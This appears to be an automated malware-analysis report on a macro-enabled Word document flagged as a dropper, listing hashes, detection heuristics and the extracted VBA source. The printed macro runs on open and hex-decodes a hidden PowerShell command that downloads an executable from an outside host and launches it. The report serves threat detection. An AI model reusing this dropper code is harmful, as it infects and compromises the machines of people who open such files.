Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e60036754eba086c…

MALICIOUS

Office (OOXML)

57.5 KB Created: 2021-01-31 23:09:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-04-10
MD5: b3f5c770ac1c8aba5373904e8feec1a1 SHA-1: e2c0ee7250ebcf4477684e3501d9f487c46f80ca SHA-256: e60036754eba086c80f0832bbef4bbeb3869e1a13305731b69ac254d662e2fae
192 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823774-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F7365762E6D696C656E62617A696E736B692E6D653A323039352F61622F616431302E657865272C24656E763A54656D702B275C6E6D732E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C6E6D732E …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3083 bytes
SHA-256: 273a90d4eac7e2f18463697e661180962a22b5798c8349bf43514cac34e37662
Detection
ClamAV: No threats found
Obfuscation or payload: likely
28 of 54 identifiers look randomly generated (e.g. 'dxekjwtbtbbtpprkdtfgxihbq') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub aya()

Local $flzphmbjgi = ["lpqmscqkuiciljmvtzhlbiibb" ,"xezphqiicosmecmazobvwobdp" ,"zuthjxtyxosqjcjdgoygpqeje" ,"rbkzeunfqzhdppchpiskzmfrx" ,"udtmpbyaolssioipzuambvkkz" ,"nohcnjzmomddrrfcbxapuvhrz" ,BitRotate(BitOr(Sqrt(29666),9832)) ,"qrzxkrfxxtsigygzoumipfkgk" ,BitOr(Sqrt(BitNot(70792)),9692) ,Int(Sqrt(99558)) ,"awrjbmtobkxhnjyyaurijvonw" ,BitNot(BitOr(BitXOR(9159,3494),1594)) ,"jzilfyknejtpwajkhnphhbyuu" ,BitAnd(BitNot(3930),2702) ,BitAnd(BitOr(27396,1871),3961) ,BitXOR(BitRotate(BitOr(52030,1098)),642) ,"dxekjwtbtbbtpprkdtfgxihbq" ,BitAnd(Int(37281),7558) ,BitRotate(BitNot(BitRotate(44504))) ,BitRotate(BitNot(BitXOR(76488,95))) ,"glhmkskkrkgkyotakusyfmlzs" ,BitOr(BitOr(3179,6498),8388) ,"gygywhgplmweuqblsjcecdlyd" ,"ansegnubsoqjluoleiosooiju" ,"wxdigcuqmtwscwdievjbiazcq" ]
Local $fyva = [Sqrt(BitNot(BitAnd(30569,2006))) ,BitRotate(Sqrt(47021)) ,Int(BitRotate(87192)) ,"qxrwdjmpkwlayiicnxzpioaac" ,Int(Sqrt(Sqrt(84153))) ,Int(Int(46169)) ,"qogydkzigomnrjkbagcnbvqpf" ,"pwxhgkayrbvmvokruzdoukshc" ,BitRotate(Sqrt(35107)) ,"aqfgeerdlpadlvcuiyaqicswd" ,BitAnd(BitAnd(72800,5812),2091) ,BitNot(Int(Sqrt(30485))) ,BitOr(BitNot(Int(98832)),1526) ,"iyjrolrcsezzlfddssuvqdcmm" ]
Local $qnpzxdq = [BitRotate(BitAnd(BitXOR(25666,5294),3835)) ,BitNot(BitRotate(Int(6130))) ,"jvezuqxymvxlmooiajekrjobn" ,"grjlhnvhabbiunonkmknbcjtc" ,BitAnd(Sqrt(12485),9140) ,BitAnd(BitRotate(98395),4798) ,"ibzgvarleewynjefjbmfiywgy" ,"ggzrhkafiwnplmhlxilijohis" ,BitOr(Int(BitNot(4782)),529) ,BitAnd(BitRotate(60321),2890) ,Int(BitNot(Sqrt(81447))) ,BitRotate(BitAnd(BitXOR(48658,6019),8130)) ,"vrbselshfsewlcrddesppbwoy" ,"wkbsaxjrexhgwcvtzcrwrdzxl" ,BitNot(Int(12239)) ,"zkoyvchqumropsbmojvpfdjkd" ,BitOr(Int(99817),7305) ]
Local $kcgjrfsd = ["thogxeummnrzamfozjpmllidu" ,"whxybcrfzdnnkrjdnatujgmkq" ,"fcdvkliqpvzzxvpwzkxkbmfps" ,"szctgrsoxqjgpflfexxeacgen" ,"hqtfsdzssaobnyeuluyktdmri" ,BitOr(BitRotate(Sqrt(82678)),9788) ,"jxbcjnpvanwztmdzowrxnzltu" ,BitNot(BitOr(28137,6277)) ,BitOr(Int(70893),91) ]

End Sub



Sub saya()
Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F7365762E6D696C656E62617A696E736B692E6D653A323039352F61622F616431302E657865272C24656E763A54656D702B275C6E6D732E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C6E6D732E6578652729"))
End Sub

Function ChrEncode(str)
    Dim i
    Dim sStr
    sStr = ""
    For i = 1 To Len(str) Step 2
        sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)))
    Next
    ChrEncode = sStr
End Function

Sub autoopen()
saya
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: 02b5ea2088e21b74088fae0fea38d495458eb8b6ba99aceccc1d20c5dd26d90e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).